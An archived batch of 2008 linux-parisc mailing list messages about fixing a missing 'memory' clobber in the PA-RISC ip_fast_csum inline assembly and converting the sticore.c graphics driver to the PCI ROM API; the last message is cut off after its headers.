To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.3 miscompiling causing networking to bugger up
Date: Sat, 31 May 2008 00:10:10 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20080531041010.GA27970@phobos.i.cabal.ca>
References: <20080528234110.GD30501@phobos.i.cabal.ca> <20080529000059.9C6434E77@hiauly1.hia.nrc.ca> <20080529000219.GE30501@phobos.i.cabal.ca> <119aab440805281707o78b19a65ke45692f67b6f542@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212207025 11055 80.91.229.12 (31 May 2008 04:10:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 May 2008 04:10:25 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 31 06:11:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K2IQn-0006s9-D9
	for glpp-linux-parisc@gmane.org; Sat, 31 May 2008 06:11:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750801AbYEaEKN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 May 2008 00:10:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750883AbYEaEKM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 31 May 2008 00:10:12 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:54529 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750801AbYEaEKL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 May 2008 00:10:11 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id BE60C178060; Sat, 31 May 2008 00:10:10 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440805281707o78b19a65ke45692f67b6f542@mail.gmail.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:361
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/361>

On Wed, May 28, 2008 at 08:07:00PM -0400, Carlos O'Donell wrote:
> On Wed, May 28, 2008 at 8:02 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > I tried 4.4 from svn a few days (more like 2 weeks maybe) ago. Is that
> > recent enough or should I try 4.3-head as well (no problem to do.)
> 
> Yes, please try 4.3-head.
> 

I've found the solution to the bug, it seems something is going wonky
because of ip_fast_csum missing a "memory" clobber.

This should fix it, but I have no idea whether this is a legitimate bug,
or masking a problem with gcc due to too much inlining.

diff --git a/include/asm-parisc/checksum.h b/include/asm-parisc/checksum.h
index cc3ec1b..1916ebe 100644
--- a/include/asm-parisc/checksum.h
+++ b/include/asm-parisc/checksum.h
@@ -65,7 +65,7 @@ static inline __sum16 ip_fast_csum(const void *iph, unsigned int ihl)
 "2:\n"
 	: "=r" (sum), "=r" (iph), "=r" (ihl)
 	: "1" (iph), "2" (ihl)
-	: "r19", "r20", "r21" );
+	: "r19", "r20", "r21", "memory" );
 
 	return (__force __sum16)sum;
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.3 miscompiling causing networking to bugger up
Date: Sat, 31 May 2008 04:58:58 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20080531105858.GD28074@parisc-linux.org>
References: <20080528234110.GD30501@phobos.i.cabal.ca> <20080529000059.9C6434E77@hiauly1.hia.nrc.ca> <20080529000219.GE30501@phobos.i.cabal.ca> <119aab440805281707o78b19a65ke45692f67b6f542@mail.gmail.com> <20080531041010.GA27970@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212231554 31551 80.91.229.12 (31 May 2008 10:59:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 May 2008 10:59:14 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 31 12:59:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K2OoU-0000Ns-Ds
	for glpp-linux-parisc@gmane.org; Sat, 31 May 2008 12:59:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751582AbYEaK7B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 May 2008 06:59:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751601AbYEaK7B
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 31 May 2008 06:59:01 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:59306 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750867AbYEaK7A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 May 2008 06:59:00 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 1D3A0494005; Sat, 31 May 2008 04:58:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080531041010.GA27970@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:362
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/362>

On Sat, May 31, 2008 at 12:10:10AM -0400, Kyle McMartin wrote:
> I've found the solution to the bug, it seems something is going wonky
> because of ip_fast_csum missing a "memory" clobber.
> 
> This should fix it, but I have no idea whether this is a legitimate bug,
> or masking a problem with gcc due to too much inlining.

*veeery* interesting.  It's entirely possible that this is the correct
fix:

 If your assembler instructions access memory in an unpredictable
 fashion, add `memory' to the list of clobbered registers.  This will
 cause GCC to not keep memory values cached in registers across the
 assembler instruction and not optimize stores or loads to that memory.

So if GCC has something in a register, it might not bother to write it
back to ram before this asm if we don't have the memory clobber.

Fantastic work, Kyle.  Thanks for spending so much time on this.

> diff --git a/include/asm-parisc/checksum.h b/include/asm-parisc/checksum.h
> index cc3ec1b..1916ebe 100644
> --- a/include/asm-parisc/checksum.h
> +++ b/include/asm-parisc/checksum.h
> @@ -65,7 +65,7 @@ static inline __sum16 ip_fast_csum(const void *iph, unsigned int ihl)
>  "2:\n"
>  	: "=r" (sum), "=r" (iph), "=r" (ihl)
>  	: "1" (iph), "2" (ihl)
> -	: "r19", "r20", "r21" );
> +	: "r19", "r20", "r21", "memory" );
>  
>  	return (__force __sum16)sum;
>  }
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.3 miscompiling causing networking to bugger up
Date: Sat, 31 May 2008 10:43:57 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440805310743g6c7bbd7and5dcbce603ac85df@mail.gmail.com>
References: <20080528234110.GD30501@phobos.i.cabal.ca>
	 <20080529000059.9C6434E77@hiauly1.hia.nrc.ca>
	 <20080529000219.GE30501@phobos.i.cabal.ca>
	 <119aab440805281707o78b19a65ke45692f67b6f542@mail.gmail.com>
	 <20080531041010.GA27970@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212245061 917 80.91.229.12 (31 May 2008 14:44:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 May 2008 14:44:21 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org, "Randolph Chung" <tausq@debian.org>
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 31 16:45:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K2SK7-0006ry-Su
	for glpp-linux-parisc@gmane.org; Sat, 31 May 2008 16:44:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752586AbYEaOn7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 May 2008 10:43:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752768AbYEaOn7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 31 May 2008 10:43:59 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.180]:56070 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752586AbYEaOn6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 May 2008 10:43:58 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j37so149055waf.23
        for <linux-parisc@vger.kernel.org>; Sat, 31 May 2008 07:43:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=n3c1shLqjb6Se+gvHCIv36HtGGsYzkwZMU9TCn+U7Yk=;
        b=MI10Eze63bSfO+Ry2WUMVx8OqxXC2kY8mhpJ+8WwlsbORbDUS+nuKRbPTb01qg/n0x60OcqXSrUWlHGuuCxdXka2wp4+idparGkP7rhdlc21mSEmTrTb14BgKMA9QPJCVj6JkUBMOpQwnJ2NLiLmfSZhavaoWgjTHEkr9Y+ssUM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=DHJpVzDOj1ePoo+3sVobg4Xg8m/Ij7/lt7aIuC902Rr4L2zo6IcKHoCfRoh2KJG8EzroZPA56xJFlRE0Jy2268aElsEhA5WEBwLEbNO6D0XMaTWqYnCUDkXqNzeno79TeUIJOm4POenLwrTb5hFGOrmh5MOomOQCW+ciqgxxzNU=
Original-Received: by 10.114.209.1 with SMTP id h1mr7650634wag.36.1212245037434;
        Sat, 31 May 2008 07:43:57 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Sat, 31 May 2008 07:43:57 -0700 (PDT)
In-Reply-To: <20080531041010.GA27970@phobos.i.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: beac5d03cb6b34cd
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:363
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/363>

On Sat, May 31, 2008 at 12:10 AM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> I've found the solution to the bug, it seems something is going wonky
> because of ip_fast_csum missing a "memory" clobber.

Great news!

The asm does advance the iph pointer, and reads the header data
without telling gcc. The input/output operands only state the pointer
may be read and modified not the memory at the pointer.

The compiler may have cached iph writes in registers and they may not
be in memory yet. Under normal circumstances I would say "Add a memory
input operand for the header data e.g. "m" (*header_struct_pointer)",
but the relationship with ihl and iph is not known the compiler. In
this case it is probably correct to use the "memory" clobber as a
catch all.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Helt <krzysztof.h1@poczta.fm>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: [PATCH] convert sticore.c to PCI ROM API (bugzilla #9425)
Date: Sat, 31 May 2008 19:15:16 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <20080531191516.ae60240f.krzysztof.h1@poczta.fm>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212254004 25503 80.91.229.12 (31 May 2008 17:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 May 2008 17:13:24 +0000 (UTC)
Cc: adaplas@gmail.com, protasnb@gmail.com, <jsimmons@infradead.org>
To: linux-parisc@vger.kernel.org,
	Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 31 19:14:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K2UeY-0001xP-Hm
	for glpp-linux-parisc@gmane.org; Sat, 31 May 2008 19:14:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751593AbYEaRNO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 May 2008 13:13:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752586AbYEaRNO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 31 May 2008 13:13:14 -0400
Original-Received: from smtp239.poczta.interia.pl ([217.74.64.239]:9654 "EHLO
	smtp239.poczta.interia.pl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751593AbYEaRNN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 May 2008 13:13:13 -0400
Original-Received: by smtp239.poczta.interia.pl (INTERIA.PL, from userid 502)
	id 7F4E8F726A; Sat, 31 May 2008 19:13:11 +0200 (CEST)
Original-Received: from poczta.interia.pl (mi06.poczta.interia.pl [10.217.12.6])
	by smtp239.poczta.interia.pl (INTERIA.PL) with ESMTP id 85A60F7245;
	Sat, 31 May 2008 19:13:10 +0200 (CEST)
Original-Received: by poczta.interia.pl (INTERIA.PL, from userid 502)
	id 85EBD1324AC; Sat, 31 May 2008 19:13:10 +0200 (CEST)
Original-Received: from krzysio.net (host-87-99-61-239.lanet.net.pl [87.99.61.239])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by www.poczta.fm (INTERIA.PL) with ESMTP id 455781324BF;
	Sat, 31 May 2008 19:13:02 +0200 (CEST)
X-Mailer: Sylpheed 2.4.3 (GTK+ 2.11.0; i686-pc-linux-gnu)
X-EMID: 5ac0b138
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:364 gmane.linux.fbdev.devel:11876
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/364>

From: Krzysztof Helt <krzysztof.h1@wp.pl>

Convert console/sticore.c file to use PCI ROM API.

Signed-off-by: Krzysztof Helt <krzysztof.h1@wp.pl>

---
I don't have cross-compiler nor the hardware so PARISC guys
please test it.

diff -urp linux-2.6.25/drivers/video/console/sticore.c linux-new/drivers/video/console/sticore.c
--- linux-2.6.25/drivers/video/console/sticore.c	2008-04-17 04:49:44.000000000 +0200
+++ linux-new/drivers/video/console/sticore.c	2008-05-31 14:47:14.794107818 +0200
@@ -780,7 +780,8 @@ out_err:
 }
 
 static struct sti_struct * __devinit
-sti_try_rom_generic(unsigned long address, unsigned long hpa, struct pci_dev *pd)
+sti_try_rom_generic(char __iomem *address, unsigned long hpa,
+		    struct pci_dev *pd)
 {
 	struct sti_struct *sti;
 	int ok;
@@ -868,10 +869,8 @@ test_rom:
 	/* disable STI PCI ROM. ROM and card RAM overlap and
 	 * leaving it enabled would force HPMCs
 	 */
-	if (sti->pd) {
-		unsigned long rom_base;
-		rom_base = pci_resource_start(sti->pd, PCI_ROM_RESOURCE);	
-		pci_write_config_dword(sti->pd, PCI_ROM_ADDRESS, rom_base & ~PCI_ROM_ADDRESS_ENABLE);
+	if (sti->pd && rom_base) {
+		pci_unmap_rom(sti->pd, rom_base);
 		DPRINTK((KERN_DEBUG "STI PCI ROM disabled\n"));
 	}
 
@@ -930,22 +929,22 @@ static int __devinit sticore_pci_init(st
 		const struct pci_device_id *ent)
 {
 #ifdef CONFIG_PCI
-	unsigned long fb_base, rom_base;
-	unsigned int fb_len, rom_len;
+	unsigned long fb_base;
+	unsigned int fb_len;
+	char __iomem *rom_base;
+	size_t rom_len;
 	struct sti_struct *sti;
 	
 	pci_enable_device(pd);
 
 	fb_base = pci_resource_start(pd, 0);
 	fb_len = pci_resource_len(pd, 0);
-	rom_base = pci_resource_start(pd, PCI_ROM_RESOURCE);
-	rom_len = pci_resource_len(pd, PCI_ROM_RESOURCE);
+	rom_base = pci_map_rom(pd, &rom_len);
 	if (rom_base) {
-		pci_write_config_dword(pd, PCI_ROM_ADDRESS, rom_base | PCI_ROM_ADDRESS_ENABLE);
-		DPRINTK((KERN_DEBUG "STI PCI ROM enabled at 0x%08lx\n", rom_base));
+		DPRINTK((KERN_DEBUG "STI PCI ROM enabled at 0x%p\n", rom_base));
 	}
 
-	printk(KERN_INFO "STI PCI graphic ROM found at %08lx (%u kB), fb at %08lx (%u MB)\n",
+	printk(KERN_INFO "STI PCI graphic ROM found at %p (%u kB), fb at %08lx (%u MB)\n",
 		rom_base, rom_len/1024, fb_base, fb_len/1024/1024);
 
 	DPRINTK((KERN_DEBUG "Trying PCI STI ROM at %08lx, PCI hpa at %08lx\n",



----------------------------------------------------------------------
Podbij Dziki Zachod!Gra strategiczna online
Sprawdz >>> http://link.interia.pl/f1dff

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: Re: [PATCH] convert sticore.c to PCI ROM API (bugzilla #9425)
Date: Sun, 1 Jun 2008 00:22:23 +0200
Lines: 120
Approved: news@gmane.org
Message-ID: <200806010022.24033.deller@gmx.de>
References: <20080531191516.ae60240f.krzysztof.h1@poczta.fm>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212272601 10032 80.91.229.12 (31 May 2008 22:23:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 May 2008 22:23:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>,
	adaplas@gmail.com, protasnb@gmail.com, jsimmons@infradead.org
To: Krzysztof Helt <krzysztof.h1@poczta.fm>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 01 00:24:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K2ZUL-0007m5-Bf
	for glpp-linux-parisc@gmane.org; Sun, 01 Jun 2008 00:23:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753790AbYEaWW6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 May 2008 18:22:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753963AbYEaWW5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 31 May 2008 18:22:57 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:38134 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753790AbYEaWW4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 May 2008 18:22:56 -0400
Original-Received: (qmail invoked by alias); 31 May 2008 22:22:54 -0000
Original-Received: from mnhm-590f7bc8.pool.einsundeins.de (EHLO p100.box) [89.15.123.200]
  by mail.gmx.net (mp051) with SMTP; 01 Jun 2008 00:22:54 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/hOVBENZHhgfQ0s5BBx/eB4odsrCIweeUJrcE1Im
	5RS3oHoMyzFGZE
User-Agent: KMail/1.9.7
In-Reply-To: <20080531191516.ae60240f.krzysztof.h1@poczta.fm>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:365 gmane.linux.fbdev.devel:11878
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/365>

Hello Krzysztof,

On Saturday 31 May 2008, Krzysztof Helt wrote:
> From: Krzysztof Helt <krzysztof.h1@wp.pl>
> 
> Convert console/sticore.c file to use PCI ROM API.
> 
> Signed-off-by: Krzysztof Helt <krzysztof.h1@wp.pl>
> 
> ---
> I don't have cross-compiler nor the hardware so PARISC guys
> please test it.
> [...]

Thanks for the patch.
Below is the fixed version for parisc.
Compile- and run-tested by me.
Please apply.

Helge
------------------------

Convert console/sticore.c file to use PCI ROM API.

Signed-off-by: Krzysztof Helt <krzysztof.h1@wp.pl>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index e9ab657..df30499 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -780,11 +780,13 @@ out_err:
 }
 
 static struct sti_struct * __devinit
-sti_try_rom_generic(unsigned long address, unsigned long hpa, struct pci_dev *pd)
+sti_try_rom_generic(unsigned long address, unsigned long hpa,
+		    struct pci_dev *pd)
 {
+	char __iomem *rom_base = (char __iomem *) address;
 	struct sti_struct *sti;
 	int ok;
-	u32 sig;
+	__le32 sig;
 
 	if (num_sti_roms >= MAX_STI_ROMS) {
 		printk(KERN_WARNING "maximum number of STI ROMS reached !\n");
@@ -808,7 +810,7 @@ test_rom:
 	sig = gsc_readl(address);
 
 	/* check for a PCI ROM structure */
-	if ((le32_to_cpu(sig)==0xaa55)) {
+	if (sig == cpu_to_le32(0xaa55)) {
 		unsigned int i, rm_offset;
 		u32 *rm;
 		i = gsc_readl(address+0x04);
@@ -868,10 +870,8 @@ test_rom:
 	/* disable STI PCI ROM. ROM and card RAM overlap and
 	 * leaving it enabled would force HPMCs
 	 */
-	if (sti->pd) {
-		unsigned long rom_base;
-		rom_base = pci_resource_start(sti->pd, PCI_ROM_RESOURCE);	
-		pci_write_config_dword(sti->pd, PCI_ROM_ADDRESS, rom_base & ~PCI_ROM_ADDRESS_ENABLE);
+	if (sti->pd && rom_base) {
+		pci_unmap_rom(sti->pd, rom_base);
 		DPRINTK((KERN_DEBUG "STI PCI ROM disabled\n"));
 	}
 
@@ -930,28 +930,25 @@ static int __devinit sticore_pci_init(struct pci_dev *pd,
 		const struct pci_device_id *ent)
 {
 #ifdef CONFIG_PCI
-	unsigned long fb_base, rom_base;
-	unsigned int fb_len, rom_len;
+	unsigned long fb_base;
+	unsigned int fb_len;
+	char __iomem *rom_base;
+	size_t rom_len;
 	struct sti_struct *sti;
 	
 	pci_enable_device(pd);
 
 	fb_base = pci_resource_start(pd, 0);
 	fb_len = pci_resource_len(pd, 0);
-	rom_base = pci_resource_start(pd, PCI_ROM_RESOURCE);
-	rom_len = pci_resource_len(pd, PCI_ROM_RESOURCE);
-	if (rom_base) {
-		pci_write_config_dword(pd, PCI_ROM_ADDRESS, rom_base | PCI_ROM_ADDRESS_ENABLE);
-		DPRINTK((KERN_DEBUG "STI PCI ROM enabled at 0x%08lx\n", rom_base));
-	}
+	rom_base = pci_map_rom(pd, &rom_len);
 
-	printk(KERN_INFO "STI PCI graphic ROM found at %08lx (%u kB), fb at %08lx (%u MB)\n",
+	printk(KERN_INFO "STI PCI graphic ROM found at %p (%u kB), fb at %08lx (%u MB)\n",
 		rom_base, rom_len/1024, fb_base, fb_len/1024/1024);
 
-	DPRINTK((KERN_DEBUG "Trying PCI STI ROM at %08lx, PCI hpa at %08lx\n",
+	DPRINTK((KERN_DEBUG "Trying PCI STI ROM at %p, PCI hpa at %08lx\n",
 		    rom_base, fb_base));
 
-	sti = sti_try_rom_generic(rom_base, fb_base, pd);
+	sti = sti_try_rom_generic((unsigned long)rom_base, fb_base, pd);
 	if (sti) {
 		char pa_path[30];
 		print_pci_hwpath(pd, pa_path);
@@ -975,7 +972,7 @@ static void __devexit sticore_pci_remove(struct pci_dev *pd)
 }
 
 
-static struct pci_device_id sti_pci_tbl[] = {
+DEFINE_PCI_DEVICE_TABLE(sti_pci_tbl) = {
 	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_EG) },
 	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_FX6) },
 	{ PCI_DEVICE(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_VISUALIZE_FX4) },
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Helt <krzysztof.h1@poczta.fm>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: Re: [PATCH] convert sticore.c to PCI ROM API (bugzilla #9425)
Date: Sun, 1 Jun 2008 01:01:55 +0200
Lines: 141
Approved: news@gmane.org
Message-ID: <20080601010155.6ec18fb7.krzysztof.h1@poczta.fm>
References: <20080531191516.ae60240f.krzysztof.h1@poczta.fm>
	<200806010022.24033.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
